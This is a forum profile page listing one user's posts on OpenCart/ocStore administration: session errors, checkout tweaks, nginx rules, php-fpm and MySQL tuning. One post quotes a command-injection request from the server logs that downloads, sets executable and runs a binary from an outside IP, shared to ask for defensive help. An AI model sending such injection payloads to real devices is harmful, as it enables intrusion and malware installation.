Перейти к содержанию

Rashp

Пользователь
  • Постов

    38
  • Зарегистрирован

  • Посещение

Весь контент Rashp

  1. Всем здравствуйте, подскажите пожалуйста как побороть ошибку с сессиями? Вылезает при смене города в simple Notice: unserialize(): Error at offset 3228101 of 4194304 bytes in /var/www/system/library/session/file.php on line 20 Подскажите пожалуйста как поправить? ocstore 3.02
  2. Всем здравствуйте, подскажите пожалуйста как заблокировать или удалить надпись при оформлении $_['button_confirm'] = 'Ожидайте происходит оформление' Просто выглядит совсем не кашерно на моем шаблоне feelmart, вылезает как вторая кнопка (редкое ублюдство), раньше надпись менялась внутри одной кнопки, после обновления вылезло, что вылезло ( Хотя-бы подскажите пожалуйста где ковырнуть, не могу отследить где выводится эта кнопка после нажатия <a class="button btn-primary button_oc btn" {{ block_order ? 'disabled' : ''}} data-onclick="createOrder" id="simplecheckout_button_confirm"><span>{{button_order }}</span></a>
  3. Решено Если кому-то нужно для nginx location ~ ^/(.*)\.html$ { try_files $uri @html_redirect; } location @html_redirect { rewrite ^/(.*)\.html$ /$1 permanent; }
  4. Всем здравствуйте, возникла та-же проблема, решал ее в nginx установив перенаправление, но локальные файлы например для всяких там подтверждений владения доменом, открыть не возможно location ~ ^/(.*)\.html$ { rewrite ^/(.*)\.html$ /$1 ; } Если честно не понял? в FX маска не срабатывает
  5. Здравствуйте всем, подскажите пожалуйста кто-нибудь настраивал Dadata в simple? поделитесь кодом js пожалуйста для городов, у меня есть такой, не знаю будет работать или нет var token = " "; var defaultFormatResult = $.Suggestions.prototype.formatResult; function formatResult(value, currentValue, suggestion, options) { var newValue = suggestion.data.city; suggestion.value = newValue; return defaultFormatResult.call(this, newValue, currentValue, suggestion, options); } function formatSelected(suggestion) { return suggestion.data.city; } $("#address").suggestions({ token: token, type: "ADDRESS", hint: false, bounds: "city", constraints: { locations: { city_type_full: "город" } }, formatResult: formatResult, formatSelected: formatSelected, onSelect: function(suggestion) { console.log(suggestion); } });
  6. Вопрос к автору: модуль при открытии постоянно выбрасывает из админки в логе ссылка на ошибку в /system/library/session/file.php return unserialize($data); можно как-то это пофиксить? задолбался админку по 10 раз открывать туда сюда (
  7. Спасибо, попробую
  8. от 10 до 20 мб на процесс получается, процессов 8
  9. Rashp

    php-fpm

    подскажите пожалуйста лог php-fpm козлит server reached pm.max_children setting (80), consider raising it seems busy (you may need to increase pm.start_servers, or pm.min/max_spare_servers), spawning 8 children are 0 idle, and 79 total children На серванте 8 CPU, 16 Gb памяти ps -ylC php-fpm --sort:rss -u www-data S UID PID PPID C PRI NI RSS SZ WCHAN TTY TIME CMD S 33 638 637 0 80 0 12228 11324 do_epo ? 00:00:00 nginx S 33 649 637 0 80 0 13544 11453 do_epo ? 00:00:00 nginx S 33 650 637 0 80 0 14000 11510 do_epo ? 00:00:00 nginx S 33 639 637 0 80 0 15120 11817 do_epo ? 00:00:01 nginx S 33 641 637 0 80 0 15716 11918 do_epo ? 00:00:01 nginx S 33 646 637 0 80 0 16816 11761 do_epo ? 00:00:02 nginx S 33 644 637 0 80 0 16916 12211 do_epo ? 00:00:01 nginx S 33 640 637 0 80 0 20980 12577 do_epo ? 00:01:39 nginx текущие настройки: pm = dynamic pm.max_children = 80 pm.start_servers = 6 pm.min_spare_servers = 4 pm.max_spare_servers = 8 pm.max_requests = 500 Или поставить? pm = dynamic pm.max_children = 40 pm.start_servers = 8 pm.min_spare_servers = 4 pm.max_spare_servers = 12 pm.max_requests = 500
  10. VPS - CPU 8 / RAM 16384 Мб / NVMe 160 Гб - дешевый?
  11. Спасибо, увеличил, просто странно, такой всплеск происходит периодически, я больше даже не про настройки спрашивал, а пытаюсь найти причинно-следственную связь из-за чего это происходит? Откуда идет такое кол-во подключений, т.е. это косяк опенкарта или сервера.
  12. Всем здравствуйте, периодически вылезает ошибка Too many connections ( Подскажите пожалуйста, как поправить? Warning: mysqli::__construct(): (HY000/1040): Too many connections in /var/www/site.ru/storage/modification/system/library/db/mysqli.php on line 7 Warning: DB\MySQLi::__construct(): Couldn't fetch mysqli in /var/www/site.ru/storage/modification/system/library/db/mysqli.php on line 10 Warning: DB\MySQLi::__construct(): Couldn't fetch mysqli in /var/www/site.ru/storage/modification/system/library/db/mysqli.php on line 10
  13. Всем здравствуйте, появился деятель на сайте собирает корзины по 100 - 120 строк товаров с цветом и размером, после этого происходит падение памяти до 7 гб из 16 (в логах предупреждение mysqld[25623]: 2025-01-20 18:01:30 0 [Warning] Aborted connection 0 to db: 'unconnected' user: 'unauthenticated' host: 'connecting host' (Too many connections). Корзина кэшируется. Подскажите пожалуйста как можно с этим бороться? Действия намеренные судя по тому, что постоянно меняет ip адреса (использует vpn) и данные устройств и браузера. в my.cnf max_connections = 100 connect_timeout = 5 wait_timeout = 600 max_allowed_packet = 16M thread_cache_size = 128 sort_buffer_size = 2M bulk_insert_buffer_size = 16M tmp_table_size = 32M max_heap_table_size = 32M # # * MyISAM # key_buffer_size = 128M table_open_cache = 400 myisam_sort_buffer_size = 1024M concurrent_insert = 2 read_buffer_size = 2M read_rnd_buffer_size = 1M в php.ini memory_limit = 1024M
  14. не решено, данные остаются, но заказ не оформляется при большом объеме корзины более 100 шт. с сочетанием цвет/размер все равно выдает empty order_id ошибок при этом нигде в логах нет Знающие подскажите пожалуйста как это лечить?
  15. кажется нашел, попробую посмотреть, было связано с настройками read_buffer_size и read_rnd_buffer_size
  16. Всем, здравствуйте, перманентно слетает настройка почты в settings, что вызывает сообщение empty order_id при оформлении заказа и вышибает из админки в логе: PHP Notice: unserialize(): Error at offset 1830129 of 6365184 bytes in /system/library/session/file.php line 18 но там ничего такого в этой строке нет, только возврат данных - return unserialize($data); if (is_file($file)) { $filesize = filesize($file); if ($filesize > 0) { $handle = fopen($file, 'r'); flock($handle, LOCK_SH); $data = fread($handle, $filesize); flock($handle, LOCK_UN); fclose($handle); return unserialize($data); } } После повторного сохраниния настроек, ошибка исчезает, но опять же на некоторое время. Подскажите пожалуйста куда копать? Ну или как поправить? Причем это именно связано с отправкой уведомлений о заказе или смене пароля зарегистрированным покупателем. Почта отправляется со своего отдельного почтового сервера в настройках smtp / ssl://адрес сервера / 465 порт / таймаут 20 / логин, пароль
  17. Спасибо! помогло !
  18. или такой вариант? if ($http_host != "0.0.0.0") { return 301 https://example.ru; } такой вариант тоже не работает ((((
  19. но это не верная конструкция (
  20. Rashp

    nginx

    Всем здравствуйте! Подскажите пожалуйста, как правильно закрыть IP в nginx от прямого доступа? Надоели левые запросы по IP и не повлияет ли это на индексацию? Я сделал следующую конструкцию, не знаю, корректно ли это? server { listen 80; server_name domain.ru www.domain.ru; return 301 https://domain.ru$request_uri; } server { set $host_path "/var/www/webroot"; set $index "index.php"; set $fpm_sock "/run/php/php7.3-fpm-domain.sock"; listen 443 ssl http2; ssl_certificate /etc/nginx/ssl/fullchain.pem; ssl_certificate_key /etc/nginx/ssl/privkey.pem; ssl_trusted_certificate /etc/nginx/ssl/chain.pem; add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; add_header X-XSS-Protection "1; mode=block"; add_header X-Frame-Options SAMEORIGIN; add_header X-Permitted-Cross-Domain-Policies master-only; add_header X-Content-Type-Options nosniff; set $domain_name "domain.ru"; server_name domain.ru www.domain.ru; root $host_path/; index $index; default_type text/html; access_log off; error_log /var/www/logs/nginx/error.log crit; if ($host = 'www.$domain_name') { return 301 https://$domain_name$request_uri; } server { listen 0.0.0.0:80 default_server; listen 0.0.0.0:443 default_server; server_name _; return 444; }
  21. Всем, привет, помогите плз. мозгов не хватает прикрутить в header.twig <meta http-equiv="expires" content="{{ expires }}"> <meta http-equiv="last-modified" content="{{ last_modified }}"> сделал в catalog/controller/common/lastmodified.php <?php // Установите заголовки $Expires = @date('D, d M Y H:i:00', time() + 360000); $num = mt_rand(2000, 10000); $LastModified = gmdate("D, d M Y H:i:s \G\M\T", time() - $num); $IfModifiedSince = false; if (isset($_ENV['HTTP_IF_MODIFIED_SINCE'])) $IfModifiedSince = strtotime(substr($_ENV['HTTP_IF_MODIFIED_SINCE'], 5)); if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])) $IfModifiedSince = strtotime(substr($_SERVER['HTTP_IF_MODIFIED_SINCE'], 5)); if ($IfModifiedSince && $IfModifiedSince >= $num) { header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified'); exit; } Установка заголовков header('Expires: ' . $Expires); header('Last-Modified: ' . $LastModified); Загрузка и рендеринг шаблона Twig $this->load->view('common/header', $data); ?> но последний блок не работает чтоб зацепить его в header подскажите плз. Заранее благодарен
  22. Всем здравствуйте, после переезда на новые сервера, столкнулся по странными запросами вот такого вида: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) пытаются грузить на сервер shell и получить доступ к сайту, стандартные методы борьбы не особо помогают, менял права на /tmp на 755, 775, но сайт падает на 500, где сайт и /tmp могут быть связаны и как можно купировать эту проблему?
  23. Нашел где течет, причем случайно, когда переезжал на другой сервер. Зашел в ini, который cli там был установлен memory_limit = -1, он собственно и выедал память, ограничил до 1024M, пока буду посмотреть, что из этого. получится
×
×
  • Создать...